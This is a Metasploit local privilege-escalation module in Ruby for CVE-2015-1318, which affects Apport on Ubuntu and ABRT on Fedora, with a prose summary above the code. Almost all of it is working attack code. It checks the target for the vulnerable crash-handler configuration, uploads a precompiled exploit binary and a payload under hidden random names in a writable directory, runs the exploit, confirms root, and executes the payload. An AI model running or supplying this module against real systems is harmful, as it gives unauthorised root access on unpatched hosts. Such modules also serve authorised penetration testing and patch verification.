This Metasploit module attempts to gain root privileges on Linux systems by invoking the default coredump handler inside a namespace ("container"). Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are vulnerable, due to a feature which allows forwarding reports to a container's Apport by changing the root directory before loading the crash report, causing 'usr/share/apport/apport' within the crashed task's directory to be executed. Similarly, Fedora is vulnerable when the kernel crash handler is configured to change root directory before executing ABRT, causing 'usr/libexec/abrt-hook-ccpp' within the crashed task's directory to be executed. In both instances, the crash handler does not drop privileges, resulting in code execution as root. This Metasploit module has been tested successfully on Apport 2.14.1 on Ubuntu 14.04.1 LTS x86 and x86_64 and ABRT on Fedora 19 and 20 x86_64.
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# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apport / ABRT chroot Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Linux systems by
invoking the default coredump handler inside a namespace ("container").
Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are
vulnerable, due to a feature which allows forwarding reports to
a container's Apport by changing the root directory before loading
the crash report, causing 'usr/share/apport/apport' within the crashed
task's directory to be executed.
Similarly, Fedora is vulnerable when the kernel crash handler is
configured to change root directory before executing ABRT, causing
'usr/libexec/abrt-hook-ccpp' within the crashed task's directory to be
executed.
In both instances, the crash handler does not drop privileges,
resulting in code execution as root.
This module has been tested successfully on Apport 2.14.1 on
Ubuntu 14.04.1 LTS x86 and x86_64 and ABRT on Fedora 19 and 20 x86_64.
},
'License' => MSF_LICENSE,
'Author' =>
[
'StA(c)phane Graber', # Independent discovery, PoC and patch
'Tavis Ormandy', # Independent discovery and C exploit
'Ricardo F. Teixeira', # shell exploit
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'DisclosureDate' => 'Mar 31 2015',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'References' =>
[
[ 'CVE', '2015-1318' ],
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],
# Exploits
[ 'EDB', '36782' ],
[ 'EDB', '36746' ],
[ 'URL', 'https://gist.github.com/taviso/0f02c255c13c5c113406' ],
# ABRT (Fedora)
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],
# Apport (Ubuntu)
[ 'URL', 'https://usn.ubuntu.com/usn/USN-2569-1/' ],
[ 'URL', 'https://code.launchpad.net/~stgraber/apport/pidns-support/+merge/200893' ],
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758' ],
[ 'URL', 'http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943' ]
]
))
register_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end
def base_dir
datastore['WritableDir']
end
def check
kernel_version = Gem::Version.new cmd_exec('uname -r').split('-').first
if kernel_version < Gem::Version.new('3.12')
vprint_error "Linux kernel version #{kernel_version} is NOT vulnerable"
return CheckCode::Safe
end
vprint_good "Linux kernel version #{kernel_version} is vulnerable"
kernel_core_pattern = cmd_exec 'cat /proc/sys/kernel/core_pattern'
# Vulnerable core_pattern (abrt):
# kernel.core_pattern = |/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
# Patched systems no longer preface the command with /usr/sbin/chroot
# kernel.core_pattern = |/usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
if kernel_core_pattern.include?('chroot') && kernel_core_pattern.include?('abrt-hook-ccpp')
vprint_good 'System is configured to chroot ABRT for crash reporting'
return CheckCode::Vulnerable
end
# Vulnerable core_pattern (apport):
# kernel.core_pattern = |/usr/share/apport/apport %p %s %c %P
if kernel_core_pattern.include? 'apport'
vprint_good 'System is configured to use Apport for crash reporting'
res = cmd_exec 'apport-cli --version'
if res.blank?
vprint_error 'Apport is NOT installed'
return CheckCode::Safe
end
apport_version = Gem::Version.new(res.split('-').first)
if apport_version >= Gem::Version.new('2.13') && apport_version < Gem::Version.new('2.17.1')
vprint_good "Apport version #{apport_version} is vulnerable"
return CheckCode::Vulnerable
end
vprint_error "Apport version #{apport_version} is NOT vulnerable"
return CheckCode::Safe
end
vprint_error 'System is NOT configured to use Apport or chroot ABRT for crash reporting'
CheckCode::Safe
end
def upload_and_chmodx(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
cmd_exec "chmod +x '#{path}'"
register_file_for_cleanup path
end
def exploit
if check != CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
# Upload Tavis Ormandy's newpid exploit:
# - https://www.exploit-db.com/exploits/36746/
# Cross-compiled with:
# - i486-linux-musl-cc -static newpid.c
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-1318', 'newpid'
fd = ::File.open path, 'rb'
executable_data = fd.read fd.stat.size
fd.close
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
upload_and_chmodx executable_path, executable_data
# Upload payload executable
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe
# newpid writes an 'exploit' directory
# which must be removed manually if exploitation fails
register_dir_for_cleanup "#{base_dir}/exploit"
# Change working directory to base_dir,
# allowing newpid to create the required hard links
cmd_exec "cd '#{base_dir}'"
print_status 'Launching exploit...'
output = cmd_exec executable_path
output.each_line { |line| vprint_status line.chomp }
# Check for root privileges
id = cmd_exec 'id'
unless id.include? 'root'
fail_with Failure::Unknown, 'Failed to gain root privileges'
end
print_good 'Upgraded session to root privileges'
vprint_line id
# Execute payload executable
vprint_status 'Executing payload...'
cmd_exec payload_path
end
end